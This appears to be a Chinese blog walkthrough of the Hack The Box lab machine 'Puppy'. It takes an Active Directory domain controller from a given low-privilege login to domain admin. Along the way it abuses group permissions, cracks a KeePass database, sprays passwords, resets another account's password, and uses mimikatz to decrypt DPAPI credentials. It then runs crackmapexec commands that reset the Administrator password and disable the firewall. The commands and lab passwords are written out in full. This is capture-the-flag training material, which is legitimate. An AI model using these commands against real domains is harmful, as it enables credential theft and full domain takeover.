HTB靶机 Puppy 渗透测试记录

misaka19008 发布于 2025-05-24 120 次阅读 3216 字



目标信息

IP地址:10.129.5.30(多个IP地址)

凭据:levi.james / KingofAkron2025!


信息收集

ICMP检测

PING 10.129.5.30 (10.129.5.30) 56(84) bytes of data.
64 bytes from 10.129.5.30: icmp_seq=1 ttl=127 time=317 ms
64 bytes from 10.129.5.30: icmp_seq=2 ttl=127 time=340 ms
64 bytes from 10.129.5.30: icmp_seq=3 ttl=127 time=362 ms
64 bytes from 10.129.5.30: icmp_seq=4 ttl=127 time=382 ms

--- 10.129.5.30 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 317.018/350.342/382.199/24.319 ms

攻击机和靶机间网络连接良好。

防火墙检测

# Nmap 7.95 scan initiated Sun May 18 08:56:07 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.5.30
Nmap scan report for 10.129.5.30
Host is up (0.33s latency).
All 65535 scanned ports on 10.129.5.30 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)

# Nmap done at Sun May 18 08:56:54 2025 -- 1 IP address (1 host up) scanned in 47.10 seconds

无法探测靶机防火墙状态。

网络端口扫描

TCP端口扫描结果

# Nmap 7.95 scan initiated Sun May 18 09:03:43 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.5.30
Nmap scan report for 10.129.5.30
Host is up (0.30s latency).
Not shown: 65513 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-18 08:05:22Z)
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2049/tcp  open  nlockmgr      1-4 (RPC #100021)
3260/tcp  open  iscsi?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49412/tcp open  msrpc         Microsoft Windows RPC
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49685/tcp open  msrpc         Microsoft Windows RPC
53696/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-18T08:07:34
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h00m00s

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   287.26 ms 10.10.14.1
2   287.38 ms 10.129.5.30

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 18 09:09:50 2025 -- 1 IP address (1 host up) scanned in 367.02 seconds

UDP端口开放列表扫描结果

# Nmap 7.95 scan initiated Sun May 18 09:11:30 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.5.30
Nmap scan report for 10.129.5.30
Host is up (0.29s latency).
Not shown: 65529 open|filtered udp ports (no-response)
PORT     STATE SERVICE
53/udp   open  domain
88/udp   open  kerberos-sec
111/udp  open  rpcbind
123/udp  open  ntp
389/udp  open  ldap
2049/udp open  nfs

# Nmap done at Sun May 18 09:12:15 2025 -- 1 IP address (1 host up) scanned in 44.87 seconds

UDP端口详细信息扫描结果

# Nmap 7.95 scan initiated Sun May 18 16:26:25 2025 as: /usr/lib/nmap/nmap -sC -sU -sV -p 53,88,111,123,389,2049 -oN udp_result.txt 10.129.78.119
Nmap scan report for 10.129.78.119
Host is up (0.41s latency).

PORT     STATE SERVICE      VERSION
53/udp   open  domain       Simple DNS Plus
88/udp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-18 08:26:26Z)
111/udp  open  rpcbind      2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
123/udp  open  ntp          NTP v3
| ntp-info: 
|_  
389/udp  open  ldap?
2049/udp open  nlockmgr     1-4 (RPC #100021)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port111-UDP:V=7.95%I=7%D=5/18%Time=682999BD%P=x86_64-pc-linux-gnu%r(ONC
SF:RPC_CALL,18,">xecxe3xcax01x01"
SF:);
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 11s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 18 16:29:43 2025 -- 1 IP address (1 host up) scanned in 197.97 seconds

同时发现靶机运行Windows Server 2022操作系统,为域控制器,主域名为puppy.htb,除Active Directory服务外还运行NFS网络文件系统服务。


服务探测

DNS服务(53端口)

尝试使用dig命令查询主域名基本信息:

dig any puppy.htb @puppy.htb

发现域控主机名为dc.puppy.htb

尝试使用dnsrecon配合字典爆破子域名,但未发现任何新信息。

Kerberos服务(88端口)

首先,尝试根据题目提供的凭据,启动impacket-lookupsid工具进行域用户枚举:

impacket-lookupsid puppy.htb/levi.james:"KingofAkron2025\!"@dc.puppy.htb 10000

成功发现如下用户名:

Administrator
Guest
krbtgt
DC$
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm

Windows SMB服务

尝试使用impacket-smbclient工具和提供的凭据登录Windows SMB服务:

impacket-smbclient puppy.htb/levi.james:"KingofAkron2025\!"@10.129.169.93

发现levi.james用户存在共享/DEV,但无法访问;还在/SYSVOL共享下发现空文件和空目录。

NFS服务(2049端口)

尝试使用ntpdate命令和靶机同步时间,并利用showmount工具列出NFS共享目录信息:

ntpdate -s dc.puppy.htb
showmount -e dc.puppy.htb

但未发现任何信息。


渗透测试

BloodHound域外远程枚举

鉴于在服务探测阶段未发现任何信息,且题目提供了levi.james用户的凭据,决定使用bloodhound-python工具,连接靶机LDAP数据库进行域内关系远程枚举:

bloodhound-python -c All -d puppy.htb -u levi.james -p "KingofAkron2025\!" -ns 10.129.169.93 --zip

数据打包完毕后,将其上传至BloodHound进行分析。首先列出最短攻击路径:

可以发现如下情况:

  1. 用户steph.cooper_adm为域管理员,包含在PUPPY ADMIN组织单元内;
  2. 用户adam.silversteph.cooper可使用WinRM登录靶机;
  3. 用户ant.edwardsSENIOR DEVS组内用户,该用户组容器对adam.silver用户具有GenericAll权限。

但当前用户levi.james不在最短攻击路径上,查看该用户可控制对象:

发现该用户属于HR用户组,而该用户组容器对DEVELOPERS组具有GenericWrite权限。联想到当前用户SMB服务内存在无法访问的共享/DEV,决定尝试将当前用户添加至DEVELOPERS组内,再尝试访问该共享。

修改levi.james用户组访问共享

直接使用Kali Linux自带的net工具对DEVELOPERS用户组进行成员添加:

net rpc group addmem "DEVELOPERS" "levi.james" -U "puppy.htb"/"levi.james"%"KingofAkron2025\!" -S dc.puppy.htb

添加成功!随后再次尝试访问/DEV共享:

impacket-smbclient puppy.htb/levi.james:"KingofAkron2025\!"@dc.puppy.htb
use DEV
ls

成功连接/DEV共享!发现里面有一个KeePass XC v2.7.9密钥管理软件的安装包和一个KeePass密钥文件,还发现Projects为空目录。

破解KeePass密码库获取凭据

在渗透SMB共享的过程中,我们已经成功修改levi.james用户的用户组,并成功在/DEV共享内发现了密码库文件。

现在直接下载recovery.kdbx文件尝试破解,由于该kdbx密钥库为KeePass XC版本,无法使用keepass2john提取哈希,必须使用keepass4brute工具调用keepassxc-cli命令执行破解:

GitHub - r3nt0n/keepass4brute: Bruteforce Keepass databases (KDBX 4.x format)

git clone https://github.com/r3nt0n/keepass4brute.git
./keepass4brute-master/keepass4brute.sh ./recovery.kdbx /usr/share/wordlists/rockyou.txt

成功破解recovery.kdbx密码库口令:liverpool!直接打开查看:

发现密码库内疑似保存了5个域内用户的密码,直接将5个密码复制,保存到pass.lst内:

KingofAkron2025!
JamieLove2025!
HJKL2025!
Antman2025!
Steve2025!
ILY2025!
liverpool

接着使用crackmapexec进行域内密码喷洒:

crackmapexec smb 10.129.169.93 -d puppy.htb -u aduser.lst -p pass.lst --continue-on-success

成功发现新登录凭据:

  • 域:puppy.htb
  • 用户名:ant.edwards
  • 密码:Antman2025!

修改adam.silver密码登录WinRM

在之前的BloodHound探测过程中,我们已经发现当前用户ant.edwards的用户组对象SENIOR DEV对用户adam.silver具有GenericAll权限,且该用户可以通过WinRM登录,因此我们需要修改其密码。

首先使用Apache Directory Studioant.edwards用户身份登录LDAP数据库(使用DN名称CN=ANTHONY J. EDWARDS,DC=PUPPY,DC=HTB):

连接完毕后,打开用户对象CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB,查找userAccountControl属性,将值设置为512以启用账户:

随后修改adam.silver用户密码:

bloodyAD -d puppy.htb -u ant.edwards -p "Antman2025\!" --host dc.puppy.htb set password adam.silver Asd310056

接着使用evil-winrm登录:

evil-winrm -i dc.puppy.htb -u adam.silver -p "Asd310056"

成功!!


权限提升

移动至steph.cooper用户

登录系统后,执行目录信息收集。在C:\Backups目录下发现名为site-backup-2024-12-30.zip的压缩包文件:

使用download命令下载压缩包:

download site-backup-2024-12-30.zip

打开压缩包,发现存在可疑文件/puppy/nms-auth-config.xml.bak

直接解压缩查看,发现内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>

成功发现登录凭据:

  • 域:puppy.htb
  • 用户名:steph.cooper
  • 密码:ChefSteph2025!

直接登录WinRM

evil-winrm -i dc.puppy.htb -u steph.cooper -p "ChefSteph2025\!"

成功!

操作系统信息收集

基本系统信息

进程列表

环境变量

用户信息

用户家目录

服务列表

开放端口信息

系统保护措施

Windows凭据管理器

浏览器信息

经分析研判,发现steph.cooper用户家目录下存在DPAPI凭据库密钥和库文件:

  • 密钥文件:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
  • 凭据库目录:C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials

认为上述DPAPI凭据库为提权突破口,决定对凭据库目录内文件进行解密以获取更多信息。

解密DPAPI凭据库文件

确定对DPAPI库进行解密后,直接上传mimikatz工具,首先使用当前用户凭据解密用于加密DPAPI凭据库的密钥文件556a2412-1275-4ccf-b721-e6a0b4f90407

upload ../../../../../usr/share/windows-resources/mimikatz/x64/mimikatz.exe
.\mimikatz.exe "dpapi::masterkey /in:`"C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407`" /sid:S-1-5-21-1487982659-1829050783-2281216199-1107 /password:ChefSteph2025! /protected" "exit"

成功解密DPAPI MasterKeyd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

随后就可以对Windows凭据管理器文件进行解密了。首先尝试解密名为C8D69EBE9A43E9DEBF6B5FBD48B521B9的凭据库文件:

.\mimikatz.exe "dpapi::cred /in:`"C:Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9`" /masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84" "exit"

成功解密Windows凭据管理器内用户凭据:

  • 域:puppy.htb
  • 用户名:steph.cooper_adm
  • 密码:FivethChipOnItsWay2025!

根据BloodHound枚举结果,发现该用户为域管理员之一,直接使用crackmapexec工具修改Administrator用户密码、关闭防火墙并打开远程桌面:

crackmapexec smb dc.puppy.htb -d puppy.htb -u steph.cooper_adm -p "FivethChipOnItsWay2025\!" -x "net user Administrator Asd310056 /domain"
crackmapexec smb dc.puppy.htb -d puppy.htb -u steph.cooper_adm -p "FivethChipOnItsWay2025\!" -x "netsh advfirewall set allprofiles state off"
crackmapexec smb dc.puppy.htb -d puppy.htb -u steph.cooper_adm -p "FivethChipOnItsWay2025\!" -x "reg add \"HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" /t REG_DWORD /v portnumber /d 3389 /f"
crackmapexec smb dc.puppy.htb -d puppy.htb -u steph.cooper_adm -p "FivethChipOnItsWay2025\!" -x "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"

随后使用rdesktop登录远程桌面:

rdesktop dc.puppy.htb -p 3389 -g 1600x900

提权成功!!!!


本次靶机渗透到此结束


此作者没有提供个人介绍。
最后更新于 2025-10-03